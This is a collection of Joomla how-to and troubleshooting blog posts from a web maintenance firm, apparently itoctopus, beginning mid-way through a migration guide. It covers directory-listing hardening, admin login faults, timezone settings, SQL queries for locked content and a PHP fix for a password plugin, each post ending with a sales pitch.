  11. We re-create the menus and the menu items. Unless the website has hundreds of menu items, then we do this process manually. This process is not as easy as it might look like, this is because it is during the re-creation of the menus when we discover that we need to create a content in some component, or an article that we’ve forgotten, or maybe we need to install a component that we overlooked. The re-creation of the menus takes a long time because it’s more or less like an initial QA (Quality Assurance) check on the website.

  12. We re-create the content of the site modules. This step is different from the migration of the modules because in this step we re-create the actual content of the different site modules (such as Custom HTML modules), and we assign them to the appropriate pages.

  13. We ensure that the links are properly redirected. This step can take some time as it’s very possible that in the new website the link structure has changed, and thus we need to add 301 redirects to ensure that traffic to the website is not affected by the migration.

  14. We test the website. Now that we have created all the content, the users, and migrated all the extensions, we can start testing this website. During this phase of the migration project, we…:

    • Tweak the CSS: Joomla 2.5 generates HTML that is different than Joomla 1.5, and that’s why we need to tweak the CSS to make the site look exactly the same as the old one. (Note that migrated modules and components also generate HTML differently than their previous versions.)
    • Fix bugs: It is normal during projects of this size to fix bugs. At itoctopus, we are proactive in finding bugs: we try to find them before they find us! Fixing bugs is a lengthy process that can take many hours. Bugs include “500 pages”, “404 pages”, errors on the website, etc…

    • Ensure that each and every page is exactly the same as the same page in the previous version: This where we spend so much time. We check each and every page on the new website, and we check that not only it is visibly identical to the same page on the old website, but that the underlying HTML is nearly identical. For example, we check that the meta tags are the same, that the page title is identical, etc…

    • Test the different functions of the website: The last step before replacing the old website with the new website is to test the functionality of the website: Does that contact us form work? Can people buy from the website? Is search working and returning the same results as the previous website? etc… All inconsistencies in the functionality between the old and the new website are addressed and fixed during this stage.

  15. We move the website. Now that we have checked that everything’s OK with the new website, we back it up (e.g. we backup the new website), we then move all the folders and the files under the old website to another directory, and then we move all the folders and the files under the new website to the real website’s directory. This step will effectively replace the old website with the new website, and the best part is: our customers rarely, if every, notice that we actually did the move! They only know that they’re running Joomla 2.5.x when they login to their website!

So yes, it’s hard, really hard to migrate from Joomla 1.5 to Joomla 2.5 and it does take a lot of time, at least 2 days for small websites with no VirtueMart. If you want to migrate your website from Joomla 1.5 (or even before) to Joomla 2.5 then why not contact us and let us do it for you? We’ll give you fair estimates (and our fees are affordable), we’ll work on your website as if it was ours, and we’ll try to do it in the shortest time possible. Oh, and we’re fun to work with!

How to Disable Directory Listing in Joomla?

A major vulnerability on any website – and not just Joomla websites – is to have directory listing enabled. Directory listing is a default feature in Apache and IIS (the two most common web servers used for Joomla websites) that will allow anyone to view the list of files in a certain directory if the web server can’t find a default file to run in that directory. A default file can be any of the following: index.html, index.html, index.php, default.htm, default.html, default.php, etc…

Most hosting environments have this feature turned off – but for those that don’t, then Joomla, in its default installation, addresses this problem by adding an index.html in each and every directory (try browsing to any directory on your Joomla website and you will definitely see an index.html file if there is no index.php in that directory) – which stresses the point previously mentioned in our post “20 Benefits of Using Joomla” that Joomla is secure by default. By adding this index.html file to every directory, Joomla ensures that the web server serves this file to those visitors (or should we say malicious visitors) directly accessing these directories, instead of listing what’s in the directory. (By the way, having an index.html in Joomla directories instead of an index.php to prevent directory listing was a performance-based decision. This is because an index.php file has to be intereprted by the PHP compiler before being served to the client, while a an index.html file is served “as-is” to the client, with minimal work done on the server side.)

However, we can think of many Joomla extensions that aren’t as secure as Joomla’s core – such extensions were written in the assumption that directory listing is always disabled (or maybe their developers do not care about security altogether), and thus they don’t include any default file. So, if directory listing is enabled, then Joomla websites that have these extensions installed will have major security vulnerabilities. So what can someone do to disable directory listing on his Joomla website?

Well, there are three ways to disable directory listing on a Joomla website:

  1. Disable directory listing at the server level

    Directory listing can be easily disabled at the server level by doing the following:

    • If you’re running IIS: Disabling directory listing varies by IIS version, and we suggest that you check IIS’s help on how to do this (by the way, there are several ways for disabling directory listing on IIS).
    • If you’re running Apache: Disabling directory listing on Apache simply consists of editing the file httpd.conf (which is Apache’s configuration file) by adding the following line:

      Options -Indexes

      By the way, make sure that you don’t have something the following line (notice that the minus sign is missing):

      Options Indexes

      elsewhere in your httpd.conf file – if you do, then you need to simply delete it.

    Note that if you’re on a shared hosting environment, then you can always ask your web hosting company to do the above for you, but we doubt that they will, because they will be affecting all the websites on their server, and not only yours. If you’re on a shared hosting, then we suggest you follow one of the two methods below.

  2. Disable directory listing at the cPanel level

    If you have cPanel, then disabling directory listing can be easy by doing the following:

    • Login to your cPanel account
    • Scroll down to the bottom of cPanel’s homepage, and click on the Index Manager under Advanced.

    • You will be prompted to choose the directory that you want to disable directory listing on, choose the directory that contains your Joomla website (such as /public_html/www). A page containing a list of directories under public_html will appear. Click on public_html on that page and then choose No Indexing and click on “Save” at the bottom.

  3. Disable directory listing at the .htaccess level

    Probably the easiest way to disable directory listing is to just edit the .htaccess file located under the root directory of your Joomla website, and then add the following line at the top of that file:

    Options -Indexes

    Again, make sure that you don’t have this line:

    Options Indexes

    elsewhere in your .htaccess file (this line will explicitly enable directory listing). In case you see this line, then you need to delete it.

If you need help in disabling directory listing on your Joomla website, or you need to review the security on your Joomla website, then why not contact us? We’re fast, we’re experts in Joomla, and we won’t charge you much!

Blank Page on Joomla’s Administrator Instead of the Login Form

A new customer called us today and told us that he’s not able to see the login form on the backend, so when he goes to http://ourclientjoomlawebsite.com/administrator/, he just doesn’t see anything at all. We were nearly confident that this problem will be very easy to fix because we’ve seen it many times before – we have even discussed this problem and all its variations – but the thing is, the variations of a Joomla problem can be endless, and what we thought would take us merely 10 minutes to fix took us almost 2 hours. Let us explain the things that we did to discover the source of the problem (in order):

  • We viewed the HTML source code of the login page to see if there is something like <body style=”display:none”> in the HTML and there wasn’t (one of the websites that we worked on before had this code maliciously inserted to hide the admin login from the website owner). In fact, the HTML source code was completely empty – not a single character was in the source code!
  • We enabled error debugging to see if there’s any error on the website, but there were none.

  • We checked to see if the login component com_login was enabled in the table jos_extensions, and it was.

  • We checked to see if the module mod_login was enabled, and it was also enabled.

  • We then checked to see if the directory containing the module mod_login exists and has all the files – and that all the files in that directory are not tampered with. Everything seemed OK for us.

We then started debugging the index.php file under the administrator directory line by line to see if there’s anything wrong anywhere. Every line was doing what it should be doing, except for this one (which is by far the most critical – as it’s the one responsible for the actual display of the form):

$app->render();

What’s weird about that was that $app (as an object) had the right information. So, we took a closer look at what the function render (located in the file administrator/includes/application.php) does…

The function render simply gets the template for the administrator interface, parses it, and then assigns the body of the page to that template. We printed that template and we discovered that the website wasn’t using a standard template – but rather a custom one. We checked to see if the folder for the template existed, and it did. However, the permissions on that template were none (000), which means that no one can read from it, no one can write to it, and no one can execute anything in that template. We changed the permissions of the template to 444 and (yes, you guessed it!) the login form was working!

Now if you’re reading this post because you have the same problem (and we suspect that you do), and if you can’t solve this problem by yourself, then fear not – we’re here for you. Why don’t you contact us and let us fix this problem for you in no time. Oh, and fear not, our fees are very competitive.

Component Not Found on Joomla Login

We got a call very early today from one of our clients telling us that whenever he tries to Joomla’s backend, he gets a “Component Not Found” error. The client used our Joomla emergency services because he called around 4 AM (it was a very active website and he needed to add new content before the day begins).

We have seen this problem several times before, and the cause of this problem, according to our experience, was usually one of the following:

  • The com_admin folder (or some files under the com_admin folder) located under /administrator/components was deleted.
  • The com_admin component was removed from the list of Joomla’s extensions in the table jos_extensions.

  • The com_admin component was disabled. (e.g. its enabled field was set to 0 in its corresponding row in the jos_extensions table.)

Of course, the first things we checked when working on the website was for the presence of the com_admin folder in its proper location as well as the presence of its entry in the table jos_extensions. We also checked if the “enabled” field of that entry was set to 1 as it should. Everything was OK…

We tried to login to our client’s website again, and to our surprise, we were able to login – but we haven’t changed anything! We called the client and asked him if he changed anything from his side, and he said he didn’t.

We tried to login another time, but this time we weren’t able to: we got the “Component Not Found” error, again! That was weird!

We then thought that there must be something wrong with our setup (and our client’s setup – we know, that’s quite a coincidence, but sometimes you need to think about everything to find the cause of a problem) – we thought it was a browser issue – but we were again able to login on the same browser that we weren’t able to login on before. We started thinking about every imaginable reason for this – the top reason, on our minds, was that someone (or some script) was playing with the jos_extensions database – setting the enabled value of the com_admin row to 0 and 1 every minute or so. So we did some tests and it wasn’t the case.

Eventually, one of our team members noticed that using the link http://ourclientjoomlawebsite.com/administrator/index.php to login was working while using the link http://ourclientjoomlawebsite.com/administrator was not. We noticed then that when we were logging in from the latter link, Joomla was redirecting to http://ourclientjoomlawebsite.com/index.php instead of redirecting to the normal admin homepage. That was very odd – since the latter link is technically equivalent to the second, and Joomla recognizes this, because Joomla was implicitly running index.php to display the page with the login form. Weird!

Now on the bright side, we knew how to overcome the problem (by ensuring that index.php was appended to the link), however, we didn’t know what caused the problem in the first place. So we continued working…

We used our Joomla debug strategy and we started disabling plugins, one by one, until the problem was no longer there. The culprit was a badly written plugin that our customer installed the day before. We informed our customer and we asked him to uninstall that plugin to ensure that his website remains stable.

Now – if you’re reading this post then most likely you’re having this problem. If our post helped you resolving the “Component Not Found” error when logging in to your Joomla website’s backend, then congratulations! If not, then why not contact us? We know Joomla by heart, we’re here to server, and we are always happy to work on your website – whether you’re an old or a new client! Don’t worry, our fees are very reasonable!

Login to Joomla Administrator Not Working and No Error Is Displayed

Yesterday we had a client that told us that he was unable to login to his Joomla website. He told us that everytime he tries to login, he gets redirected back to the login page with no error! Since he was a technical person, he told us that he did a research on the subject and the thinks that it’s the session.savepath Joomla problem. This made sense because Joomla uses the built-in PHP $_SESSION superglobal variable to maintain information about the logged in person and if it can’t save that information to the session, then it won’t be able to login the person.

So, the first thing we tried to do was to check whether sessions were actually working on the site, and they were (we set a session variable in one page and we retrieved in another page) – so that takes care of our client’s theory of why the problem is happening.

Our second attempt was to check the ACL (Access Control List) of the website as this problem is often associated with incorrect ACL. So we logged in to phpMyAdmin, we selected the database of his Joomla website, and we checked it and it was all clean: the tables jos_users, jos_usergroups, jos_user_usergroup_map, and jos_viewlevels were all OK. We then checked the specific entries in the table jos_assets that might affect the login process, and all these entries were fine.

We then tried to do things a bit differently, since our customer was a technical person, he made a backup for the website (the backup consisted of the filesystem and the database) before the problem happened and immediately after the problem happened. So, what we did was that we extracted the database from both backups and started comparing the database of the working website with that of the non-working website. There were about 20 differences – all of them were trivial, with the exception of a very small difference in one of the INSERT lines (the difference is in red):

INSERT line in the working version:

INSERT INTO `jos25_extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(432, 'plg_user_joomla', 'plugin', 'joomla', 'user', 0, 1, 1, 0, '{"legacy":false,"name":"plg_user_joomla","type":"plugin","creationDate":"December 2006","author":"Joomla! Project","copyright":"(C) 2005 - 2009 Open Source Matters. All rights reserved.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"2.5.0","description":"PLG_USER_JOOMLA_XML_DESCRIPTION","group":""}', '{"autoregister":"1"}', '', '', 0, '0000-00-00 00:00:00', 2, 0);

INSERT line in the non-working version:

INSERT INTO `jos25_extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(432, 'plg_user_joomla', 'plugin', 'joomla', 'user', 0, 0, 1, 0, '{"legacy":false,"name":"plg_user_joomla","type":"plugin","creationDate":"December 2006","author":"Joomla! Project","copyright":"(C) 2005 - 2009 Open Source Matters. All rights reserved.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"2.5.0","description":"PLG_USER_JOOMLA_XML_DESCRIPTION","group":""}', '{"autoregister":"1"}', '', '', 0, '0000-00-00 00:00:00', 2, 0);

As you can see, there is a “1” in the first line that is a “0” in the first line, and guess what – that was the cause of the whole problem. You see, that little 1 was telling Joomla that the user plugin was enabled and that all user activity should work normally. The 0 in the non-working version was telling Joomla to disable the user plugin, and that’s why logins where not working on the Joomla site and no errors were returned. Changing that value back to 1 fixed the whole problem.

So why did that happen?

We think that there are two reasons of why that happened:

  1. Someone manually disabled the user plugin on the Joomla website.
  2. A (badly written) extension mistakenly disabled the userplugin. Our preliminary investigation on this issue leads to believe that this extension might be the userport extension.

If you have the problem where you’re trying to login to your Joomla backend and you’re getting redirected to the login screen, and if this post did not help you (or if it’s a bit too technical for you) then all you need to do is to contact us. We will respond immediately, we will fix your website as soon as we can, and we won’t charge you much!

How to Set the Timezone in Joomla?

Setting the timezone is one of the trickiest things to do on any website, and while Joomla makes this easy for its users, it can still be very tricky. Let us explain why…

Joomla allows the super administrator to change the website’s timezone in the configuration settings, by going to Site->Global Configuration->Server, and then changing the value next to Server Time Zone to his country/state/province of preference. See below:

Joomla Timezone

Figure 1: Changing the timezone on a Joomla website using Joomla’s interface

When doing the above, we will ensure that every page running under the Joomla environment displays (or can display) the timezone that we chose. However, there are some Joomla extensions (that do not integrate well with Joomla’s environment) that ignore this setting or do not use it (this typically happens when the extension does not require the Joomla environment in order to run). These extensions cause a problem and may lead to inconsistencies in displaying the time across the website.

There are four ways to solve the above problem:

  1. Fix the extension in order to use Joomla’s environment: This can easily be done by simple includes. However, it might lead to potential problems and conflicts when using the extension.
  2. Force the extension to use the timezone of your choice: If you don’t want to include the Joomla environment in the extension, or if you’re having problems including the Joomla environment, then you can easily set the timezone using the PHP function date_default_timezone_set. The downside for doing this is that you need to change the timezone in at least two places whenever you want to change it.

  3. Change the timezone on the server itself: On a Windows server, changing the timezone is pretty much straightforward. On the other hand, it can be a bit of a complicated process on Linux depending on your distribution. For example, some Linux distributions have tools that will allow you to easily change the timezone – while you need to jump through hoops to change the timezone on some other distributions. Usually this is a job for your system administrator. If you are on shared hosting, you need to ask your hosting company to do this – keep in mind, however, that your hosting company is most likely to refuse to do this since this change will affect all the clients and the services (such as email and cron jobs) hosted on the same server.

  4. Change the timezone in the .htaccess file: Few are those who know that the server timezone can be set at the website level in the .htaccess file. All one needs to do is to include the following line in his .htaccess file (of course, the America/California part needs to be changed to your timezone):

    SetEnv TZ America/California

    The nice about this method is that you don’t need to make a change anywhere else. Joomla will inherit this setting and any script running under your website will have this timezone. We think this is the best way to set the timezone on a Joomla website.

One final note: If you’re running cron jobs, then make sure you explicitly set the timezone in your scripts if you don’t want to use the default timezone of your server.

Now are you reading this post because you are having problems with timezones on your Joomla website? We definitely understand your frustration and we’re here to help. All you need to do is to contact us and we’ll take it from there! We are always excited to take on new projects, we are very friendly, and our rates are affordable!

What Kind of Information Should a Joomla Website Owner Have About His Website?

Every day we get at least one new customer who doesn’t have some key information about his website that will help us help him. This key information is usually a combination of username and password to his Joomla website. When we ask our new customer how come he doesn’t have this information, his answer is usually one of the following:

  • I used to have it but now I lost it.
  • I used to have it but the last programmer who worked on the website changed this information (for example, he changed the password) and didn’t send me the new one.

  • I never had it in the first place – my programmer/designer used to handle all these things and now he left me and didn’t give me this information. By the way, this is the most common response we get!

Since this is a common issue, we have decided to list the information that every Joomla website owner needs to have in order to maintain control over his website and in order to simplify the work for anyone who’s about to work on it:

  1. Username and password of a super administrator on his Joomla website: In about 75% of our projects, we need a username and password of a super administrator on the Joomla website. The username and password of any other role are useless to us. The problem is, there are many Joomla website owners who only have a manager’s login to their website (while their programmers, of course, have super administrator logins). Super administrators have many privileges that other roles don’t have, such as 1) changing the configuration settings, 2) installing new extensions, 3) installing new templates, 4) modifying existing templates, and 5) changing the template. It is very important for any Joomla website owner to have a super administrator login to his website.
  2. FTP credentials to his Joomla website: Any Joomla website owner needs to have FTP credentials to his Joomla website. This will allow developers to quickly fix issues on his website, as well as develop/extend current extensions. Also, keep in mind that FTP information is critical for updating Joomla to the latest version. Finally, there are some extensions that require FTP information, such as Akeeba Backup.

    The FTP information consists of the host, the FTP username, and the FTP password.

  3. Hosting credentials to his Joomla website: Hosting credentials not only encapsulate FTP credentials, but they also give access to all the databases on the system, a simple interface to backup and restore a website, and in-depth knowledge about the server hosting the website.

    Quick note here: If someone doesn’t have the username and password of a super admin on his Joomla website, we (at itoctopus) are able to get a super administrator credentials if we have FTP access to his website. If he neither has the super admin credentials, and nor FTP information, but if he has the hosting credentials, we will be able to get him both FTP access and the credentials of a super administrator on his Joomla website.

  4. Environment information of his Joomla website: Is his website hosted on a Windows or a Linux server? Does his hosting use cPanel’s, Plesk’s, or Godaddy’s interface? Which version of PHP is the web server running? Which version of MySQL is the web server running? A Joomla website owner should know all this information!

  5. His Joomla website version: One of the common questions that we ask a new customer is the following: “Which version of Joomla are you running?”. That information will help us assess the capabilities and the security of the website, and estimate how long it’ll take us to develop a functionality, and whether a specific extension will work on his website or not.

  6. Domain registration credentials: This is probably the most critical information that any Joomla website owner should have. Without this information he will not be able to transfer his Joomla website from one server to another (because he won’t be able to change the nameservers). What makes this information even more crucial is that whoever has it will be able to assume control of the domain!

  7. The physical directory hosting the Joomla website: Sometimes when we’re about to work on a Joomla website, we spend some time trying to find where the website is hosted (e.g. which physical directory contains the website). It usually helps us greatly when we know which directory contains the website.

Remember always that the more information that we have on your Joomla website, the more easy it will become for us (and for anyone else) to help you. If you think that you’re missing some information on your website, then why not contact us? We’ll work with you so that you can have all the credentials to your website. After all, you own that website and it’s your right to have all the information about it! Oh, and by the way, our rates are very, very affordable!

Joomla for Real Estate Agents

In this post, we will discuss how real estate agents can use Joomla to build a website that serves their business. Before discussing which pages and functionalities should be included in such a website, let us examine what people expect when they visit the website of a real estate agent:

  • They expect to search the site by using one or more of the following filters:
    • Real estate type: The first thing that people filter their search on is the real estate type. For example, if they want a house, they don’t want to see an office. There are two real estate types: residential and commercial.
    • Real estate sub-type: After choosing the real estate type, people usually filter their search further by choosing the real-estate sub-type they are looking for. Residential real estate sub-types include (but are not limited to):

      • House
        • Detached
        • Semi-detached
      • Condo
      • Bungalow
      • Townhouse
      • Land
    • Location: Location, location, location! Location is by far the most important factor that people consider when buying or renting a real estate. People want to live/work in a place they know or they have heard of.

    • Rent or buy: This is a very important filter that people apply to their searches – this is because people usually have a set decision whether they want to buy or to rent prior to visiting the website. Note that their decision might change afterwards – but that doesn’t really matter because they can always switch between “Rent” and “Buy”.

    • Price: Price is also a very critical filter. People expect the price filter to be a range between a certain amount and another. For example, a visitor might search for houses that are no less than $200,000 and no more than $400,000.

    • Total space: Most people like larger houses – and all of them have a lower limit on what they would consider as “a livable area”. That’s why people expect to have a filter that allow them to specify the minimum (and perhaps) the maximum range of area in square feet (or square meters – if they are living outside the US and Canada).

    There are many other filters that can be applied to real estate, such as:

    • Number of rooms
    • Number of bathrooms
    • Number of floors
    • Furnished/Not furnished
    • Amenities
    • etc…
  • They expect to know something about the real estate agent they’re about to entrust with their monies. An About Me or About Us as well as How We Work pages are indispensable for the visitors to have insight about the real estate agent, his business, and how he conducts business.

  • They expect to read a guide on how to select the ideal property. This guide should be written by none other than the real estate agent.

  • They expect to see the listings that are close to them on the homepage. Website visitors these days are spoiled because many things are done for them – for example, many real estate websites automatically detect the person’s location and list the nearest properties to his place. People also expect to manually change/set the automatically chosen location to another one.

  • They expect to view some pictures of each and every property. It is a fact that listings with pictures sell much better than those that don’t have any picture. Additionally, pictures of products on any website will give the website a more professional look.

  • They expect to easily contact the real estate agent and to have his full contact information.

  • They expect to read testimonials from people who have dealt in the past with this real estate agent – this will give them a sense of confidence.

Now that we’ve covered what people expect when visiting the website of a real estate agent, let’s discuss which pages/functionalities should be included/implemented to build such as website in Joomla.

Let’s start with the simple things first:

  • The website must have an About Us page where the real estate agent (or agency) will list his achievements in the real estate world. This will simply be an article in Joomla.

  • The website must have another page, called How We Work, where the real estate agent explains how he deals with his customers and how are his fees broken down. Again, this is another article in Joomla.

  • An important page that should be included and that is read by those who are serious in their real estate hunt should be How to Choose a Property?. This is an informative page where the real estate agent explains (to his visitors) some techniques/strategies and best practices to select the ideal property. (Yes, you guessed it, this is another simple article in Joomla)

  • The website will need a dedicated Contact Us page where people will be able to see all the information they need about the real estate agent, and they’ll be able to fill in a form to contact the real estate agent. Joomla’s built-in Contact component should be used on this page. If the real estate agent wants to get fancy in his contact us form, then he can use a dynamic form generator such as RS Forms. In our opinion, the latter option is better and more professoinal.

  • The website will need to show the main contact information of the real estate agent (such as his name, his phone number, and his email – as well as a link to the Contact Us page) at all times in the left column or the right column (depending on the design) to simplify the process of contacting the agent. This functionality can be done using a custom HTML module and assigning it to the corresponding module position.

Now for the more complicated pages/functionality:

  • The website must have a listings database connected to Joomla (preferably located in the same database). The listings database will consist of a table that has all the information about all the listings. The owner of the website must have an easy interface where he can enter listings. That interface should be accessible from Joomla’s backend. These listings will be displayed on the homepage and on the search pages. Technically, an extension that will handle these listings should be created from scratch.
  • The website must automatically know the location of the visitor and display relevant listings on the homepage. This can be done by creating a Joomla extension that will detect the IP of the visitor, and then run this IP against a database that will return the location of the visitor. Once the location of the visitor is known (State and City, for example), then the listings database will be queried, and the listings close to the location of the visitor will be displayed.

  • The website must have a full search functionality on the left side (or the right side – depending on the design) where people can search for listings based on the type, the sub-type, the location, the price, etc… Every filter applied will automatically refresh the listings.

  • The page displaying the listings should have paging – and everytime someone clicks on a listing he should see the full information about the listing – including images of this listing (note: images of the listings should be watermarked with the name of the real estate agent). This functionality should be handled by the custom Joomla extension that we just discussed.

  • The website should allow the real estate agent to add testimonials from the backend – automatically populating/updating a Testimonials page on the website. Again, this will be developed as a custom extension.

Now that we have explained how to build a fully functional and professional website for real estate agents using Joomla – it is up to you (yes you!) to build it! If you need help, then that’s why we’re here for – just contact us! Our rates are affordable, we are very friendly, and we will do it for you in no time (usually this job will take us about 7 days or 56 hours to finish – please note that you have to supply the template as we don’t do any design work).

How Long Does It Take to Learn Joomla?

Some of our customers ask us “How long does it take for me to learn Joomla?” Of course, the first thing that you have in mind is how come these customers ask us about learning Joomla when they already have a Joomla website? Well, the thing is, there are many Joomla website owners out there who have outsourced all the work on their Joomla website to someone else (they just feed him the content and he’ll do all the work) – and all of a sudden that person left them, and now they want to learn Joomla so that they won’t fall in the same trap twice.

In any case, our immediate answer to their question is a question: “What is the level of your Internet expertise?” By Internet expertise we mean the experience of using the Internet – for example, searching/browsing, filling out forms, transacting online (buying and/or selling items online), understanding that the basic language of the Internet is HTML (which is read by all browsers), etc… We ask this question because the level of Internet expertise will allow us to accurately estimate how much time it’ll take someone to learn Joomla, a CMS of low-to-medium difficulty (depending on how it’s used) that is not that hard to learn.

If their level of Internet expertise is…

  • Zero: It means that they don’t know how to browse, they don’t know how to search, they don’t know how to fill out forms, they don’t know how to do anything online without help from someone else. It’ll take about 3 months for these people to learn Joomla – because they first need to learn the basics of the Internet, and then they will need to learn the basics of Joomla (such as creating an article, creating a menu item, updating that article etc…).
  • One: It means that these people are able to browse the Internet – but not much else. They don’t understand what are the constituents of a web page, and they don’t understand how the web works. It’ll take these people about 1 month to learn Joomla, where they’ll spend about 2 weeks learning the basics of the Internet, and then two weeks to learn the basic usage of Joomla.

  • Two: It means that these people have a basic grasp of the Internet: they know how to do most of the things they need on the Internet such as searching, browsing, filling out forms, buying, etc… They don’t understand the technicalities of the Internet – but they can still use it. It’ll take about 2 weeks for these people to learn Joomla.

  • Three: It means that these people know how to do nearly anything on the Internet – they are also comfortable with using any website regardless of its layout and its technology (they probably even have an ebay account). They have a basic grasp of how the Internet works and the language that powers the Internet, which is HTML. They are able to use technical terms to describe what they’re doing on the Internet. They know what can and what cannot be done (technically) on a website – and they’re confident that they can develop a personal website for themselves (or for their friends) or a website to support their small business. It’ll take these people about 2-3 days to learn Joomla.

  • Four: It means that these people are very technical – maybe they have a programming background – but they haven’t operated a CMS based website before (or the other way around: they have operated a CMS before – but are not very technical). These people will be able to learn Joomla in one day.

  • Five: It means that these people are programmers who have used a CMS before (they’ve probably even created one). It’ll take these people a couple of hours to understand how Joomla works. These people will then move quickly to learn the advanced features of Joomla, such as ACL, caching, modularization, and how to create custom extensions for Joomla.

As you can see, the amount of time it takes to learn Joomla depends on one’s Internet experience: it can range from a couple of hours for programmers with expertise in another CMS to 3 months for those who don’t know how to use the Internet.

If you want to learn Joomla then we can help you develop a study plan customized to fit your expertise. Don’t be shy, we all started from nothing – just contact us and we’ll take it from there!

Quick note: We won’t teach Joomla, there are many 3rd party companies that do that – but what we’ll do is that we’ll help you develop a study plan, so that you can start working on your Joomla website in no time!

Another quick note: The time estimates to learn Joomla above are for learning the basics of Joomla. For example, if you don’t know how to use the Internet then don’t expect to be a Joomla guru in 3 months!

How to Know Who Has Checked Out an Article/Menu Item/Module in Joomla

We have explained How to unlock a Joomla article before – and many of our clients and our readers benefited from our post – since we explained several ways on how to unlock any locked content on Joomla, whether it’s an article, a menu item, or a module.

However, we got a question from one of our clients today: “How do I know who locked this article?”

Well, there are two methods to know who locked a certain content on Joomla:

Method #1

Hover your mouse over the “lock” icon next to the article (or the module’s or the menu item’s) title, and you’ll find who locked the article, and when. Here’s an example:

Joomla checkin

Figure 1: Joomla checkin popup

As you can see, you’ll be able to know the following information:

  • Who locked the article
  • When (the exact date and time) the lock took place

Method #2

The second method is considerably more complicated than the first one as it requires the use of phpMyAdmin. Here’s how you do this:

  • Login to phpMyAdmin.
  • Go to the affected table – for example, if the locked in item is an article, then go to the table jos_content, if the locked in item is a category, then go to the table jos_categories, if the locked in item is a module, then go to the table jos_modules. Note that you need to replace jos_ with your table alias in case you’re using another one.

  • Search for the article (or the menu item/module/etc…) that is locked. You can search by the id, the title, etc… Once you find it, click on it, and then check the checked_out field. The checked_out field will contain the id of the user that has locked this article.

  • Now go to the table jos_users and search for the user that has the id returned from the previous step.

A quick query that you can run on phpMyAdmin to know the name of the user who locked in an item (if you know the item id) is the following:

SELECT `jos_users`.name
FROM `jos_users` , `jos_content`
WHERE checked_out = `jos_users`.id
AND `jos_content`.id = a random content id

Of course you need to change jos_ to your alias, and you need to replace the content table with your corresponding table.

Here are some fun queries that you can use to get some interesting data on the locking:

  • To know the names of all the people who have articles locked:

    SELECT DISTINCT `jos_users`.name
    FROM `jos_users` , `jos_content`
    WHERE checked_out = `jos_users`.id
    AND `jos_content`.id = "a random content id" ORDER BY `jos_users`.name ASC

  • To know the name of the person who has the highest number of locked articles:

    SELECT `jos_users`.name, count( * ) AS "Number of articles locked"
    FROM `jos_users` , `jos_content`
    WHERE checked_out = `jos_users`.id
    GROUP BY `jos_users`.name
    ORDER BY count( * ) DESC
    LIMIT 0 , 1

  • To know the total number of articles that are locked:

    SELECT count( * ) AS "Number of articles locked"
    FROM `jos_content
    WHERE checked_out > 0

If you want more help with Joomla’s locking feature then feel free to contact us anytime you want. We are fast, we are efficient, our rates are affordable, and we are really, really friendly!

Internal Server Error when Using the Content Password Joomla Plugin

We have discussed the Content Password plugin previously in a post explaining how to password protect a page in Joomla. Many of our readers have used it and have praised it. One of our customers, however, told us that he was seeing an “Internal Server Error” message when he uses this plugin on some of his pages.

We investigated this issue immediately – at first we were not able to understand what the problem was. His usage of the plugin was as instructed: he was correctly encapsulating the password protected part with {password} and {/password}. The weird thing is that the plugin was working on some of the pages and not working on some other pages. It was really odd!

We then started debugging Joomla by adding this code die(test); to the beginning of the contentpassword.php file located under /plugins/content/, and then moving this code to the subsequent line until the die message disappeared and we saw the error again. This method allowed us locate the exact source of this error, it was the function call responsible for replacing the password protected content with the form to enter the password (line 155 of the plugin):

$row->$replace_type = preg_replace(
$this->_passwordregex,
'',
preg_replace('%\{password[^\}]*(.(?!\{password))*?\{/password\}%s', str_replace("\\", "\\\\", $passform), $row->$replace_type)

We did some research and some tests and we discovered that the function preg_replace has some limitations regarding the size of the text and the complexity of the query. We don’t have a scientific formula that allows one to exactly calculate the boundaries of this function, but we’re sure that there are boundaries!

In any case, we decided to solve this problem by replacing the line with our own code. So we wrote the following function and we added it to the contentpassword.php file as a method to the plgContentContentpassword class:

	function _replacePasswordPlaceholder($content, $form){
		$arrContent = explode('password}', $content);
		if (count($arrContent) < 3)
			return $content;
		for ($i = 0; $i < count($arrContent) - 1; $i = $i+2){
			if (($arrContent[$i][strlen($arrContent[$i]) - 1] == '{') && ($arrContent[$i+1][strlen($arrContent[$i+1]) - 1] == '/') && ($arrContent[$i+1][strlen($arrContent[$i+1]) - 2] == '{')){
				$strContent .= substr ($arrContent[$i], 0, strlen($arrContent[$i]) - 1).$form;
			}
			else
				$strContent .= implode('password}', array($arrContent[$i], $arrContent[$i+1]));
		}
		$strContent .= $arrContent[$i];
		return $strContent;
	}

The above function just takes the content and the form as parameters, and replaces all occurrences of text encapsulated between {password} and {/password} with the standard password protection form. It then returns the modified text.

After adding the function, we replaced the code in line 155 with this code:

$row->$replace_type = $this->_replacePasswordPlaceholder($row->$replace_type, $passform);

We then tested the password protected page again and it worked! We were happy and our client was happy!

If you're having a problem with the Content Password plugin, or with any other Joomla plugin, then why don't you contact us? We work with enthusiasm, we're very friendly, we don't charge much, and we love Joomla!

20 Benefits of Using Joomla

We have been working on Joomla for years, many years now! We have worked on Joomla sites from all calibers and we have dealt with many Joomla administrators. We think that we now have a clear understanding of the advantages of Joomla that made it one of the most popular content management system (CMS) on this planet.

Let us list, in order of no importance, the top 20 benefits of Joomla based on our experience:

  1. Fast, safe, and easy editing: Let’s say that you’re not using a CMS and you want to edit one of the pages on your website. What you need to do is to use FTP, download the file, make your changes, and re-upload it. But what happens if the upload was cut-off? And what happens if someone else was trying to make an edit to the same page? And what happens if you’re not a technical person who doesn’t know how to use FTP? And how do you know which file you need to update? All these are legitimate questions which make editing CMSless website a hassle.

    Of course, one can argue that any CMS can address the above issues – but Joomla does everything better, here’s why:

    • A standard CMS does not care about data integrity. Joomla, on the other hand, ensures the integrity (safety) of your data by locking content when someone is editing – which means that no one will be allowed to edit content (article, category, module, menu item, etc…) if that content is currently being edited by someone else.
    • Editing content with a standard CMS is easy, but Joomla makes it even easier, simply because Joomla uses powerful editors that will make the person editing the website feel as if he’s editing a Microsoft Word document, and not content on his website.

